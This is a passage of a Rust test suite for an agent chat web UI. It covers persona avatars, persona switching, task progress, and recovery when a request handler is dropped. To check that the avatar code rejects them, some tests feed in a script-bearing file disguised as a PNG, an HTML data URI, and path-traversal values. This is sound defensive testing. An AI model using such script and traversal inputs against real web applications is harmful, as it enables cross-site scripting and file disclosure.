16095        let spoof = dir.path().join("spoof.png");
16096        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16097        let big = dir.path().join("big.png");
16098        let mut bytes = tiny_png();
16099        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16100        std::fs::write(&big, bytes).unwrap();
16101        let missing = dir.path().join("missing.png");
16102        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16103        let extra = format!(
16104            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16105             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16106             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16107             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16108             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16109             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16110            uri(&good),
16111            uri(&spoof),
16112            uri(&big),
16113            uri(&missing),
16114        );
16115        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16116
16117        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16118        assert_eq!(
16119            (status, ct.as_str(), nosniff),
16120            (StatusCode::OK, "image/png", true)
16121        );
16122        assert_eq!(body, tiny_png());
16123        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16124        assert_eq!(ct, "image/png", "data URI");
16125
16126        for p in ["misato", "asuka", "shinji", "magi"] {
16127            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16128            assert_eq!(
16129                (status, ct.as_str(), csp),
16130                (StatusCode::OK, "image/svg+xml", true),
16131                "{p}"
16132            );
16133            assert!(body.starts_with(b"<svg"), "{p}");
16134        }
16135        // The page's own retry skips the icon.
16136        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16137        assert_eq!(ct, "image/svg+xml");
16138    }
16139
16140    #[tokio::test]
16141    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16142        let oversized = format!(
16143            "data:image/png;base64,{}",
16144            "A".repeat(persona_icon::ICON_MAX_BYTES)
16145        );
16146        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16147            let extra = format!(
16148                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16149            );
16150            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16151            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16152                .await
16153                .expect("detail with invalid icon");
16154            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16155            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16156            assert_eq!(status, StatusCode::OK);
16157            assert_eq!(ct, "image/svg+xml");
16158            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16159            let Json(view) = talk_persona(
16160                State(Arc::clone(&ui)),
16161                Path(id.clone()),
16162                Json(TalkPersona {
16163                    persona: "custom".into(),
16164                }),
16165            )
16166            .await
16167            .expect("persona switch with invalid icon");
16168            assert_eq!(view.talk.persona, "custom");
16169            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16170        }
16171    }
16172
16173    #[tokio::test]
16174    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16175        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16176        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16177        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16178        assert_eq!(
16179            (status, ct.as_str(), nosniff, csp),
16180            (StatusCode::OK, "image/svg+xml", true, true)
16181        );
16182    }
16183
16184    #[tokio::test]
16185    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16186        let (_t, _h, ui, id, _repo) =
16187            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16188        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16189            .await
16190            .expect("detail");
16191        let json = serde_json::to_string(&detail).unwrap();
16192        assert!(
16193            !json.contains("secret"),
16194            "the icon setting must not leak: {json}"
16195        );
16196        assert!(
16197            detail
16198                .view
16199                .persona_avatar
16200                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16201        );
16202        assert_eq!(
16203            detail.view.operator_avatar,
16204            format!(
16205                "/avatars/operator.svg?v={}",
16206                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16207            )
16208        );
16209        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16210        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16211        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16212        assert!(rei.avatar.contains("persona=rei&v="));
16213        assert_ne!(
16214            rei.avatar.split("&v=").nth(1),
16215            plain.avatar.split("&v=").nth(1)
16216        );
16217    }
16218
16219    #[tokio::test]
16220    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16221        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16222        let cfg = config_for(&repo).await.unwrap();
16223        for arrived in [false, true] {
16224            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16225            let observed = ui.queued_generation(&id);
16226            let talk = ui.talks.get(&id).unwrap();
16227            if arrived {
16228                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16229            }
16230            let mut settling = std::pin::pin!(settle_settings_turn(
16231                talk,
16232                ui.talks.clone(),
16233                cfg.clone(),
16234                id.clone(),
16235                turn,
16236                observed
16237            ));
16238            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16239            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16240            assert_eq!(first.is_pending(), arrived);
16241            if arrived {
16242                assert!(!settling.await);
16243            }
16244            assert!(!ui.is_thinking(&id));
16245        }
16246    }
16247
16248    #[tokio::test]
16249    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16250        let tmp = TempDir::new().expect("tempdir");
16251        let repo = tmp.path().join("repo");
16252        std::fs::create_dir_all(&repo).expect("repo dir");
16253        std::fs::write(
16254            repo.join("magi.toml"),
16255            format!(
16256                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16257            ),
16258        )
16259        .expect("write magi.toml");
16260        let home = TempDir::new().expect("temp home");
16261        let talks = Talks::at(home.path().join("talks"));
16262        let ui = Arc::new(
16263            Ui::new(
16264                Queue::at(home.path().join("queue")),
16265                Questions::at(home.path().join("questions")),
16266                talks.clone(),
16267                home.path().join("runs"),
16268                home.path().to_path_buf(),
16269                repo.clone(),
16270            )
16271            .with_worktrees_root(home.path().join("wt")),
16272        );
16273        let cfg = config_for(&repo).await.expect("discover config");
16274        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16275        let id = talk.id.clone();
16276        let call = |persona: &str| {
16277            talk_persona(
16278                State(Arc::clone(&ui)),
16279                Path(id.clone()),
16280                Json(TalkPersona {
16281                    persona: persona.to_owned(),
16282                }),
16283            )
16284        };
16285
16286        let unknown = call("nobody").await.expect_err("unknown persona");
16287        assert_eq!(
16288            unknown.status,
16289            StatusCode::BAD_REQUEST,
16290            "{}",
16291            unknown.message
16292        );
16293
16294        {
16295            // Nothing refused so far took a claim, so the guard is free to take
16296            // and holding it is what makes the talk busy.
16297            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16298            let busy = call("rei").await.expect_err("busy talk");
16299            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16300            assert!(
16301                busy.message.contains("a talk turn is running"),
16302                "{}",
16303                busy.message
16304            );
16305            drop(guard);
16306        }
16307        assert_eq!(talks.get(&id).expect("reload").persona, "");
16308
16309        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16310        assert_eq!(view.talk.persona, "gendo");
16311        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16312        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16313        // No intervening I/O or sleep may be needed before another change.
16314        for chosen in ["default", "gendo", "rei", "gendo"] {
16315            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16316            assert!(!view.thinking);
16317            assert!(!ui.is_thinking(&id));
16318        }
16319
16320        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16321            .await
16322            .expect("detail");
16323        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16324        assert_eq!(ids.first(), Some(&"default"));
16325        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16326
16327        let Json(view) = call("default").await.expect("back to default");
16328        assert_eq!(view.talk.persona, "");
16329
16330        let mut closed = talks.get(&id).expect("reload");
16331        talk::close(&mut closed, &talks).expect("close");
16332        let refused = call("rei").await.expect_err("closed talk");
16333        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16334        assert!(
16335            refused.message.contains("takes no more turns"),
16336            "{}",
16337            refused.message
16338        );
16339    }
16340
16341    #[tokio::test]
16342    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16343        let f = Fixture::start().await;
16344        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16345        let queue = f.queue();
16346        let mut mine = Task::new(
16347            "rename the loader".to_owned(),
16348            "rename the loader".to_owned(),
16349            PathBuf::from("/repo/magi"),
16350            Source::Agent {
16351                run: talk_id.clone(),
16352                node: "chat".to_owned(),
16353            },
16354        );
16355        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16356        assert_eq!(empty["task_progress"]["state"], "none");
16357        assert_eq!(empty["task_progress"]["total"], 0);
16358        queue.put(&mut mine).expect("file the task");
16359        let mut theirs = Task::new(
16360            "unrelated".to_owned(),
16361            "unrelated".to_owned(),
16362            PathBuf::from("/repo/magi"),
16363            Source::Human,
16364        );
16365        // A later task linked through origin_chat alone is outside this list.
16366        theirs.origin_chat = Some(talk_id.clone());
16367        queue.put(&mut theirs).expect("file the task");
16368
16369        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16370        assert_eq!(res.status, 200, "{}", res.body);
16371        let body = res.json();
16372        assert_eq!(
16373            body["status"], "open",
16374            "filing a task does not close a talk"
16375        );
16376        let tasks = body["tasks"].as_array().expect("tasks array");
16377        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16378        assert_eq!(tasks[0]["id"], mine.id);
16379        for status in [
16380            TaskStatus::Queued,
16381            TaskStatus::Running,
16382            TaskStatus::Held,
16383            TaskStatus::Failed,
16384            TaskStatus::Blocked,
16385            TaskStatus::Parked,
16386            TaskStatus::Done,
16387            TaskStatus::Queued,
16388        ] {
16389            mine.status = status;
16390            queue.put(&mut mine).expect("update status");
16391            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16392            let progress = &detail["task_progress"];
16393            assert_eq!(progress["total"], 1);
16394            assert_eq!(progress["counts"][status.as_str()], 1);
16395            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16396            assert_eq!(detail["status"], "open", "completion never closes the chat");
16397            if status == TaskStatus::Done {
16398                assert_eq!(progress["state"], "complete");
16399                assert_eq!(progress["done"], 1);
16400                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16401            } else {
16402                assert_eq!(progress["state"], "incomplete");
16403                assert_eq!(progress["done"], 0);
16404                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16405            }
16406        }
16407    }
16408
16409    #[test]
16410    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16411        let home = tempfile::tempdir().unwrap();
16412        let runs = home.path().join("runs");
16413        let queue = Queue::at(home.path().join("queue"));
16414        let talks = Talks::at(home.path().join("talks"));
16415        let config = stub_config();
16416        let repo = PathBuf::from("/repo/magi");
16417        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16418        let reserve_run = |repo| {
16419            let mut run = RunState::new(
16420                repo,
16421                "main".into(),
16422                "0000000".into(),
16423                "Follow the review".into(),
16424                config.clone(),
16425            );
16426            run.reserve_under(home.path()).unwrap();
16427            run
16428        };
16429        let older = reserve_run(repo.clone());
16430        let newer = reserve_run(repo.clone());
16431        let foreign = reserve_run(PathBuf::from("/repo/other"));
16432        let mismatched = reserve_run(repo.clone());
16433        let corrupt = reserve_run(repo.clone());
16434        let run_file = |id: &str| runs.join(id).join("run.json");
16435        std::fs::write(
16436            run_file(&mismatched.id),
16437            serde_json::to_vec(&older).unwrap(),
16438        )
16439        .unwrap();
16440        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16441        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16442            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16443                "id": "g", "purpose": "Follow the review", "scope": "review",
16444                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16445                "state": "waiting", "step": "Follow the recorded review",
16446                "source_turn": 0, "owner_input": "Follow the review",
16447                "tasks": tasks, "runs": runs, "watches": [],
16448                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16449                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16450            }))
16451            .unwrap()
16452        };
16453        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16454
16455        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16456        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16457
16458        let unusable = vec![
16459            foreign.id.clone(),
16460            mismatched.id.clone(),
16461            corrupt.id.clone(),
16462            "missing".into(),
16463            "../escape".into(),
16464        ];
16465        let mut references = vec![older.id.clone()];
16466        references.extend(unusable.clone());
16467        talk.goals = vec![goal(vec![], references)];
16468        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16469
16470        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16471        assert_eq!(link(&talk), None);
16472
16473        let mut task = Task::new(
16474            "Review".into(),
16475            "Follow the review".into(),
16476            repo,
16477            Source::Human,
16478        );
16479        queue.put(&mut task).unwrap();
16480        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16481        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16482
16483        task.runs.push(older.id.clone());
16484        queue.put(&mut task).unwrap();
16485        assert_eq!(link(&talk), Some(("run", older.id)));
16486    }
16487
16488    #[test]
16489    fn talk_task_progress_counts_mixed_statuses() {
16490        let mut tasks: Vec<_> = [
16491            TaskStatus::Queued,
16492            TaskStatus::Running,
16493            TaskStatus::Held,
16494            TaskStatus::Failed,
16495            TaskStatus::Blocked,
16496            TaskStatus::Parked,
16497            TaskStatus::Done,
16498        ]
16499        .into_iter()
16500        .map(|status| {
16501            let mut task = Task::new(
16502                "task".into(),
16503                "task".into(),
16504                PathBuf::from("/repo"),
16505                Source::Human,
16506            );
16507            task.status = status;
16508            task
16509        })
16510        .collect();
16511        let progress = talk_task_progress(&tasks);
16512        assert_eq!(progress.state, "incomplete");
16513        assert_eq!(progress.total, 7);
16514        assert_eq!(progress.done, 1);
16515        assert_eq!(progress.unfinished_ids.len(), 6);
16516        assert!(progress.counts.values().all(|count| *count == 1));
16517        assert_eq!(
16518            progress.unfinished_ids,
16519            tasks[..6]
16520                .iter()
16521                .map(|task| task.id.clone())
16522                .collect::<Vec<_>>()
16523        );
16524
16525        for task in &mut tasks {
16526            task.status = TaskStatus::Done;
16527        }
16528        let complete = talk_task_progress(&tasks);
16529        assert_eq!(complete.state, "complete");
16530        assert_eq!(complete.done, 7);
16531        assert!(complete.unfinished_ids.is_empty());
16532        tasks[0].status = TaskStatus::Queued;
16533        let requeued = talk_task_progress(&tasks);
16534        assert_eq!(requeued.state, "incomplete");
16535        assert_eq!(requeued.done, 6);
16536        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16537
16538        let empty = talk_task_progress(&[]);
16539        assert_eq!(empty.state, "none");
16540        assert_eq!(empty.total, 0);
16541        assert_eq!(empty.done, 0);
16542        assert!(empty.unfinished_ids.is_empty());
16543        assert!(empty.counts.values().all(|count| *count == 0));
16544    }
16545
16546    #[tokio::test]
16547    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16548        let (_tmp, _repo, f) = talk_fixture().await;
16549        let id = f.post("/api/talks", None).await.json()["id"]
16550            .as_str()
16551            .expect("id")
16552            .to_owned();
16553
16554        let res = f
16555            .post(
16556                &format!("/api/talks/{id}/say"),
16557                Some(r#"{"text":"what does the queue module do?"}"#),
16558            )
16559            .await;
16560        assert_eq!(res.status, 202, "{}", res.body);
16561        let queued = res.json();
16562        let turns = queued["turns"].as_array().expect("turns array");
16563        assert_eq!(
16564            turns.len(),
16565            1,
16566            "the answer reflects only what is on disk the instant it is sent, \
16567             before the agent's turn - which can run for the whole of \
16568             `[graph] timeout_talk` - has a chance to land: {queued}"
16569        );
16570        assert_eq!(turns[0]["who"], "operator");
16571        assert_eq!(turns[0]["body"], "what does the queue module do?");
16572        assert_eq!(
16573            queued["thinking"], true,
16574            "the accepted response exposes the background turn claim: {queued}"
16575        );
16576
16577        let mut turns_after = 1;
16578        for _ in 0..SETTLE_STEPS {
16579            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16580            turns_after = detail["turns"].as_array().expect("turns array").len();
16581            if turns_after == 2 {
16582                break;
16583            }
16584            tokio::time::sleep(Duration::from_millis(10)).await;
16585        }
16586        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16587    }
16588
16589    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16590    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16591    /// guards against: `talk::record` used to return, and only *then* did the
16592    /// handler make a second, separate disk round trip before spawning the
16593    /// agent's reply task. A future dropped in that gap left a message
16594    /// recorded on disk with no reply task ever started and no way back short
16595    /// of a fresh message - and the gap was not even the whole story: *any*
16596    /// `.await` in this handler, including the very first one, is a point
16597    /// where a drop can land after the awaited work already finished but
16598    /// before this handler's own code resumes to act on it. `record` now
16599    /// runs inside the task `tokio::spawn` hands to the runtime before this
16600    /// handler ever awaits anything of its own again, so there is nothing
16601    /// left in *this* handler's future for a disconnect to interrupt between
16602    /// the message landing on disk and the reply task starting.
16603    ///
16604    /// A real socket disconnect cannot be relied on to land in the old gap
16605    /// from a test - over loopback, `talk_say` typically finishes before the
16606    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16607    /// same failure mode directly: it drops the task's future at whatever
16608    /// point it has reached, exactly what axum does to the handler future,
16609    /// without needing to win a real network race. Sweeping the delay before
16610    /// aborting samples a range of points the task's execution can be at,
16611    /// including where the old code sat waiting on its second disk round
16612    /// trip - confirmed by reverting this fix locally and watching this same
16613    /// sweep catch a talk stuck with the operator's turn recorded and no
16614    /// reply ever following.
16615    #[tokio::test]
16616    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16617        let tmp = TempDir::new().expect("tempdir");
16618        let repo = tmp.path().join("repo");
16619        std::fs::create_dir_all(&repo).expect("repo dir");
16620        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16621        let home = TempDir::new().expect("temp home");
16622        let talks = Talks::at(home.path().join("talks"));
16623        let ui = Arc::new(
16624            Ui::new(
16625                Queue::at(home.path().join("queue")),
16626                Questions::at(home.path().join("questions")),
16627                talks.clone(),
16628                home.path().join("runs"),
16629                home.path().to_path_buf(),
16630                repo.clone(),
16631            )
16632            .with_worktrees_root(home.path().join("wt")),
16633        );
16634        let cfg = config_for(&repo).await.expect("discover config");
16635
16636        for delay in 0..40u32 {
16637            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16638            let id = talk.id.clone();
16639
16640            let handler = tokio::spawn(talk_say(
16641                State(Arc::clone(&ui)),
16642                Path(id.clone()),
16643                Ok(Json(NewTalkTurn {
16644                    reply_to: None,
16645                    text: "what does the queue module do?".to_owned(),
16646                    attachments: Vec::new(),
16647                })),
16648            ));
16649            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16650            handler.abort();
16651            // Wait out the abort so the next iteration's talk does not race
16652            // this one's still-unwinding turn guard.
16653            let _ = handler.await;
16654
16655            let mut turns = 0;
16656            for _ in 0..SETTLE_STEPS {
16657                if let Ok(fresh) = talks.get(&id) {
16658                    turns = fresh.turns.len();
16659                    if turns != 1 {
16660                        break;
16661                    }
16662                }
16663                tokio::time::sleep(Duration::from_millis(10)).await;
16664            }
16665            assert_ne!(
16666                turns, 1,
16667                "delay {delay}: talk {id} recorded the operator's turn but \
16668                 the agent never answered - the reply task was never \
16669                 started after the handler future was dropped"
16670            );
16671        }
16672    }
16673
16674    /// The same drop, landing on `talk_say`'s other durable write.
16675    ///
16676    /// When a turn is already running, the busy branch persists the
16677    /// operator's text as a queued draft and then reclaims the turn slot if
16678    /// the holder gave it up in the meantime - and whoever reclaims owes that
16679    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16680    /// which finishes whether or not the future awaiting it is still there,
16681    /// so a handler dropped at that `.await` used to leave the draft written
16682    /// to disk with the reclaimed guard dropped unread and no drainer ever
16683    /// started: the message sat queued until some unrelated later `say`
16684    /// happened to pick it up.
16685    ///
16686    /// This used to drive the handler future by hand, polling it a fixed
16687    /// number of times to park it at the `.await` where it asks for the turn
16688    /// and finds it busy, before the reclaim's slot-free case could be set up
16689    /// underneath it. That assumed a fixed number of polls lands at a fixed
16690    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16691    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16692    /// poll, so any number of this handler's several `blocking` awaits can
16693    /// collapse into one poll under load, landing the drive somewhere other
16694    /// than intended - including, occasionally, straight past the handler's
16695    /// own completion, which made polling it again panic with "async fn
16696    /// resumed after completion". No poll count fixes that; the handler's
16697    /// progress simply is not something a caller outside it can observe by
16698    /// counting.
16699    ///
16700    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16701    /// inside the write itself, so the interleaving under test is pinned by
16702    /// an event instead of a guess: the gate fires only once the handler has
16703    /// actually decided `Busy` and is about to persist the draft, and it
16704    /// blocks that write until the test lets it through. Between those two
16705    /// moments the test drains the turn the handler found busy - through
16706    /// `drain_loop`, the protocol's other half - and then aborts the handler
16707    /// task outright, the same way axum drops a disconnected request's
16708    /// future. The write, and the reclaim it may do, run to completion
16709    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16710    /// to the runtime before ever touching the gate, wholly independent of
16711    /// whether the handler that started it is still around - which is what
16712    /// this test is actually checking. A drainer other than that reclaim
16713    /// cannot exist here: the test's own `drain_loop` call happens before the
16714    /// gate opens, so it runs while the queue is still empty and hands the
16715    /// turn straight back rather than draining anything, closing off the
16716    /// possibility of the final assertion passing without the reclaim ever
16717    /// having done its job.
16718    #[tokio::test]
16719    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16720        let tmp = TempDir::new().expect("tempdir");
16721        let repo = tmp.path().join("repo");
16722        std::fs::create_dir_all(&repo).expect("repo dir");
16723        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16724        let home = TempDir::new().expect("temp home");
16725        let talks = Talks::at(home.path().join("talks"));
16726        let ui = Arc::new(
16727            Ui::new(
16728                Queue::at(home.path().join("queue")),
16729                Questions::at(home.path().join("questions")),
16730                talks.clone(),
16731                home.path().join("runs"),
16732                home.path().to_path_buf(),
16733                repo.clone(),
16734            )
16735            .with_worktrees_root(home.path().join("wt")),
16736        );
16737        let cfg = config_for(&repo).await.expect("discover config");
16738        // Both waits guard against hangs, not slow filesystem or Git work on
16739        // a loaded test host. The gates and lock polls assert the ordering.
16740        let hang_guard = Duration::from_secs(30);
16741
16742        for attempt in 0..3u32 {
16743            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16744            let id = talk.id.clone();
16745            // A turn is already running, which is what sends `talk_say` down
16746            // the busy branch.
16747            let turn_guard = ui
16748                .begin_talk_turn(&id)
16749                .expect("claim the turn")
16750                .expect("a fresh talk owes nobody a turn");
16751
16752            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16753            let (release_tx, release_rx) = std::sync::mpsc::channel();
16754            ui.set_busy_queue_gate(BusyQueueGate {
16755                reached: reached_tx,
16756                release: release_rx,
16757            });
16758
16759            let handler = tokio::spawn(talk_say(
16760                State(Arc::clone(&ui)),
16761                Path(id.clone()),
16762                Ok(Json(NewTalkTurn {
16763                    reply_to: None,
16764                    text: "what does the queue module do?".to_owned(),
16765                    attachments: Vec::new(),
16766                })),
16767            ));
16768
16769            // Wait for the busy branch to actually reach the gate, rather
16770            // than for any fixed number of polls of anything - a bounded
16771            // wait rather than a bare `.await` so a regression that never
16772            // reaches the gate fails the test instead of hanging it.
16773            tokio::time::timeout(hang_guard, reached_rx)
16774                .await
16775                .unwrap_or_else(|_| {
16776                    panic!(
16777                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16778                    )
16779                })
16780                .expect("the busy branch dropped the gate without using it");
16781            assert!(
16782                crate::chat_worker::try_publication_guard(&talks, &id)
16783                    .expect("publication fence")
16784                    .is_none(),
16785                "a queued worker cannot promote text before its successor reservation is published"
16786            );
16787
16788            // A listener replacement queues its writer behind this accepted
16789            // mutation. Even disconnecting the HTTP caller must not release
16790            // admission before the write-to-worker handoff has completed.
16791            let closing = Arc::clone(&ui.admissions).write_owned();
16792            tokio::pin!(closing);
16793            std::future::poll_fn(|cx| {
16794                assert!(closing.as_mut().poll(cx).is_pending());
16795                std::task::Poll::Ready(())
16796            })
16797            .await;
16798            assert!(
16799                ui.begin_admission().is_err(),
16800                "replacement blocks later admissions"
16801            );
16802
16803            // The turn that was running now finishes and gives the slot up
16804            // the way a real one does - through `drain_loop`, which finds
16805            // nothing queued yet (the write is still held at the gate) and
16806            // releases. The handler, parked inside `spawn_blocking` on the
16807            // other side of the gate, still believes the talk is busy -
16808            // exactly the interleaving the reclaim exists for.
16809            let running = talks.get(&id).expect("reload talk");
16810            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16811
16812            // Drop the handler future now, the way a reloading phone drops
16813            // it: suspended waiting on the busy branch's answer, having
16814            // itself made no more progress since it handed the write off.
16815            handler.abort();
16816            let _ = handler.await;
16817            std::future::poll_fn(|cx| {
16818                assert!(
16819                    closing.as_mut().poll(cx).is_pending(),
16820                    "HTTP cancellation must not abandon a publishing transaction"
16821                );
16822                std::task::Poll::Ready(())
16823            })
16824            .await;
16825            assert!(
16826                crate::chat_worker::try_publication_guard(&talks, &id)
16827                    .expect("publication fence after disconnect")
16828                    .is_none()
16829            );
16830
16831            // Only now let the gated write proceed. It persists the draft
16832            // and reclaims the now-free slot from inside the task the busy
16833            // branch already spawned - unaffected by the handler's abort
16834            // above, since that task was independent of the handler's own
16835            // future from the moment it was spawned.
16836            release_tx.send(()).expect("busy queue write still gated");
16837            drop(
16838                tokio::time::timeout(hang_guard, closing)
16839                    .await
16840                    .unwrap_or_else(|_| {
16841                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16842                    }),
16843            );
16844            assert!(
16845                crate::chat_worker::try_publication_guard(&talks, &id)
16846                    .expect("publication fence after acknowledgement")
16847                    .is_some(),
16848                "the publication fence is not retained by the long response"
16849            );
16850
16851            // A settled talk: the draft drained into an operator turn and
16852            // answered.
16853            let mut fresh = talks.get(&id).expect("reload talk");
16854            for _ in 0..SETTLE_STEPS {
16855                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16856                    break;
16857                }
16858                tokio::time::sleep(Duration::from_millis(10)).await;
16859                fresh = talks.get(&id).expect("reload talk");
16860            }
16861            assert!(
16862                fresh.pending.is_empty() && fresh.turns.len() == 2,
16863                "attempt {attempt}: talk {id} left the operator's text queued \
16864                 with no drainer - the reclaimed turn was dropped along with \
16865                 the handler future (pending {:?}, {} turns)",
16866                fresh.pending,
16867                fresh.turns.len()
16868            );
16869        }
16870    }
16871
16872    #[tokio::test]
16873    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16874        let (_tmp, _repo, f) = talk_fixture().await;
16875        let id = f.post("/api/talks", None).await.json()["id"]
16876            .as_str()
16877            .expect("id")
16878            .to_owned();
16879        let store = f.talks();
16880        let mut recovered = store.get(&id).expect("opened talk");
16881        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16882            .expect("persist pending draft without a live turn");
16883
16884        let edited = f
16885            .post(
16886                &format!("/api/talks/{id}/pending/edit"),
16887                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16888            )
16889            .await;
16890        assert_eq!(edited.status, 200, "{}", edited.body);
16891        assert!(edited.json()["thinking"].as_bool().unwrap());
16892
16893        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16894        for _ in 0..SETTLE_STEPS {
16895            if detail["turns"].as_array().expect("turns").len() == 2 {
16896                break;
16897            }
16898            tokio::time::sleep(Duration::from_millis(10)).await;
16899            detail = f.get(&format!("/api/talks/{id}")).await.json();
16900        }
16901        let turns = detail["turns"].as_array().expect("turns");
16902        assert_eq!(
16903            turns.len(),
16904            2,
16905            "the recovered draft must run once: {detail}"
16906        );
16907        assert_eq!(turns[0]["body"], "corrected");
16908        assert_eq!(detail["pending"], "");
16909    }
16910
16911    #[tokio::test]
16912    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16913        let tmp = TempDir::new().expect("tempdir");
16914        let repo = tmp.path().join("repo");
16915        std::fs::create_dir_all(&repo).expect("repo dir");
